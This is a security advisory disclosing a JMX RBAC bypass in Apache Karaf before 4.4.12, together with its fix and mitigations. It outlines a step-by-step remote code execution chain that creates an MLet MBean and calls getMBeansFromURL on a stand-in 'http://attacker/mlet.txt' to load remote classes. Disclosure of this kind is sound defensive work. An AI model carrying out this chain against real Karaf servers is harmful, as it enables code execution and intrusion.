Severity: important 

Affected versions:

- Apache Karaf before 4.4.12

Description:

Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which 
enforces role-based access control (RBAC) on MBean operations invoked over the 
remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 
44444). The guard is implemented as a java.lang.reflect.Proxy around the 
MBeanServer, and only forwards a fixed list of operation names to the RBAC 
check, defined in MBeanInvocationHandler#guarded:


  private final List<String> guarded = Collections.unmodifiableList( 
Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", 
"setAttributes"));




The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and 
#unregisterMBean are not in this list. Calls to these methods are forwarded 
directly to the underlying MBeanServer with no role check at all, regardless of 
the roles configured in etc/jmx.acl.*.cfg.




As a result, any user who can authenticate to the JMX endpoint, including a 
user holding only the least-privileged "viewer" role, can call createMBean() to 
instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it 
again afterwards, with no authorization check and no audit log entry (logging 
in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass 
never reaches).




This is significant because javax.management.loading.MLet, a standard JDK 
MBean, can be instantiated this way. MLet acts as a remote classloader: its 
getMBeansFromURL(URL) operation fetches an MLet text file from an 
attacker-controlled URL and instantiates and registers the classes it lists as 
new MBeans in the target JVM. Reaching this operation still goes through 
KarafMBeanServerGuard's existing "invoke" check, but the default 
etc/jmx.acl.cfg grants the "viewer" role to any method name matching the 
wildcard rule "get* = viewer", a heuristic intended for read-only getters. 
Because "getMBeansFromURL" happens to start with "get", it also matches that 
rule, so a default installation grants "viewer" callers permission to invoke it 
without any Karaf-specific ACL naming MLet at all. Combined with the 
createMBean gap, this gives a "viewer"-role JMX client a path to remote code 
execution to the Karaf JVM:

  *  Authenticate to JMX as any user with any role (e.g. "viewer").
  *  mbs.createMBean("javax.management.loading.MLet", objectName) is not in 
GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
  *  mbs.invoke(objectName, "getMBeansFromURL", new 
Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name 
matches the default "get* = viewer" ACL rule, so permitted.
  *  The remote .mlet file is fetched and its listed classes are loaded and 
registered as new MBeans, running attacker-supplied code in the Karaf JVM.
  *  mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, 
also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.


The fix adds createMBean, registerMBean and unregisterMBean to the guarded 
operation list, resolves required roles for them from the jmx.acl* 
configuration by ObjectName and (for createMBean/registerMBean) MBean class 
name, and ships default etc/jmx.acl.cfg entries restricting all three 
operations to the "admin" role. This allows deployments to also write 
class-name-specific rule, e.g.:




createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin




Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, 
as soon as possible. Until an upgrade is available, restrict network access to 
the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid 
issuing any non-"admin" JMX credentiels.

Credit:

MopMonk-AI <[email protected]> (reporter)

References:

https://karaf.apache.org/
https://www.cve.org/CVERecord?id=CVE-2026-92142

Reply via email to